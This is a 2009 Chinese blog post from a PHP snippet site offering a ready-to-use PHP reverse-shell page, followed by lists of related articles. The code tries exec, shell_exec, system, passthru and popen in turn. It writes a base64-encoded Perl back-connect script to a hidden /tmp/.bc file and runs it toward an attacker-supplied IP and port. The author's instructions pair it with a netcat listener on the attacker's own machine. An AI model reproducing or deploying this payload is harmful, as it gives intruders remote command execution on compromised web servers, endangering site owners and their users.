php反弹shell实现代码


Posted in PHP onApril 22, 2009

非常无 奈,没想 到什么好的办法,后来灵光一闪。放一个php页面,里面 可以直接弹回来shell,何况在console下面操作比webshell方便的多,也不会出现超时之类的情况。
因为我不怎么懂php,于是就找了猥琐 的诺诺和小雨修改了一下代码,反弹代码是从phpspy2008里面提取的,但是不能直接用,需要修改成一个单独的php文件。上传之后,本地监听一个端 口,在代码里设置好反弹IP和端口,然后直接访问,就会弹回来一个shell。
声明,没啥技术含量,主要是用来方便。这样每次可以直接访问这个php页面,直接弹回来shell,不用做其他繁琐的操作,下面贴出来已经修改好的代码

<?php 
function which($pr) { 
$path = execute("which $pr"); 
return ($path ? $path : $pr); 
} 
function execute($cfe) { 
$res = ''; 
if ($cfe) { 
if(function_exists('exec')) { 
@exec($cfe,$res); 
$res = join("\n",$res); 
} elseif(function_exists('shell_exec')) { 
$res = @shell_exec($cfe); 
} elseif(function_exists('system')) { 
@ob_start(); 
@system($cfe); 
$res = @ob_get_contents(); 
@ob_end_clean(); 
} elseif(function_exists('passthru')) { 
@ob_start(); 
@passthru($cfe); 
$res = @ob_get_contents(); 
@ob_end_clean(); 
} elseif(@is_resource($f = @popen($cfe,"r"))) { 
$res = ''; 
while(!@feof($f)) { 
$res .= @fread($f,1024); 
} 
@pclose($f); 
} 
} 
return $res; 
} 
function cf($fname,$text){ 
if($fp=@fopen($fname,'w')) { 
@fputs($fp,@base64_decode($text)); 
@fclose($fp); 
} 
} 
$yourip = "your IP"; 
$yourport = 'your port'; 
$usedb = array('perl'=>'perl','c'=>'c'); 
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj". 
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR". 
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT". 
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI". 
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi". 
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl". 
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; 
cf('/tmp/.bc',$back_connect); 
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &"); 
?>

先在本地执行 nc -l -vv -p port 然后访问这个php页面 http://www.site.com/fuck.php 本地就会得到一个反弹的shell。
仅限猥琐流使用,如果有什么好的猥琐的方法,请不吝赐教
PHP 相关文章推荐
php学习笔记 PHP面向对象的程序设计
Jun 13 PHP
php常用Output和ptions/Info函数集介绍
Jun 19 PHP
详解PHP中strlen和mb_strlen函数的区别
Mar 07 PHP
PHP实现图片旋转效果实例代码
Oct 01 PHP
php自定义urlencode,urldecode函数实例
Mar 24 PHP
编写PHP脚本过滤用户上传的图片
Jul 03 PHP
Apache服务器下防止图片盗链的办法
Jul 06 PHP
php中json_encode不兼容JSON_UNESCAPED_UNICODE的解决方案
May 31 PHP
php微信公众号开发之微信企业付款给个人
Oct 04 PHP
laravel 框架配置404等异常页面
Jan 07 PHP
解决php用mysql方式连接数据库出现Deprecated报错问题
Dec 25 PHP
PHP实现长轮询消息实时推送功能代码实例讲解
Feb 26 PHP
将数组写入txt文件 var_export
Apr 21 #PHP
php 保留小数点
Apr 21 #PHP
PHP 中执行排序与 MySQL 中排序
Apr 21 #PHP
一个php导出oracle库的php代码
Apr 20 #PHP
php一句话cmdshell新型 (非一句话木马)
Apr 18 #PHP
对squid中refresh_pattern的一些理解和建议
Apr 17 #PHP
PHP 加密与解密的斗争
Apr 17 #PHP
You might like
用libTemplate实现静态网页的生成
2006/10/09 PHP
PHP与SQL注入攻击[三]
2007/04/17 PHP
PHP与MySQL开发中页面乱码的产生与解决
2008/03/27 PHP
利用discuz实现PHP大文件上传应用实例代码
2008/11/14 PHP
PHP基于CURL进行POST数据上传实例
2014/11/10 PHP
PHP中防止SQL注入方法详解
2014/12/25 PHP
iOS自定义提示弹出框实现类似UIAlertView的效果
2016/11/16 PHP
PHP实现用户登录的案例代码
2018/05/10 PHP
Javascript实现的分页函数
2007/02/07 Javascript
JavaScript语法着色引擎(demo及打包文件下载)
2007/06/13 Javascript
jQuery层次选择器选择元素使用介绍
2013/04/18 Javascript
Js可拖拽放大的层拖动特效实现方法
2015/02/25 Javascript
javascript实现倒计时跳转页面
2016/01/17 Javascript
jQuery正则验证注册页面经典实例
2017/06/10 jQuery
基于nodejs实现微信支付功能
2017/12/20 NodeJs
详解微信小程序图片地扯转base64解决方案
2019/08/18 Javascript
关于vue 结合原生js 解决echarts resize问题
2020/07/26 Javascript
vue实现单一筛选、删除筛选条件
2020/10/26 Javascript
python类型强制转换long to int的代码
2013/02/10 Python
Python的词法分析与语法分析
2013/05/18 Python
python采集博客中上传的QQ截图文件
2014/07/18 Python
python写入xml文件的方法
2015/05/08 Python
利用Python获取赶集网招聘信息前篇
2016/04/18 Python
python3.6使用pickle序列化class的方法
2018/10/22 Python
Python使用tkinter实现小时钟效果
2021/02/22 Python
css3.0 图形构成实例练习一
2013/03/19 HTML / CSS
css3实现蒙版弹幕功能
2019/06/18 HTML / CSS
vivo智能手机官方商城:vivo
2016/09/22 全球购物
探索欧洲最好的品牌:Bombinate
2019/06/14 全球购物
介绍一下XMLHttpRequest对象
2012/02/12 面试题
一体化教学实施方案
2014/05/10 职场文书
保护环境建议书作文400字
2015/09/14 职场文书
大学生村官工作心得体会
2016/01/23 职场文书
CSS巧用渐变实现高级感背景光动画
2021/12/06 HTML / CSS
简单聊聊TypeScript只读修饰符
2022/04/06 Javascript
css3属性选择器 “~”(波浪号) “,”(逗号) “+”(加号)和 “>”(大于号)
2022/04/19 HTML / CSS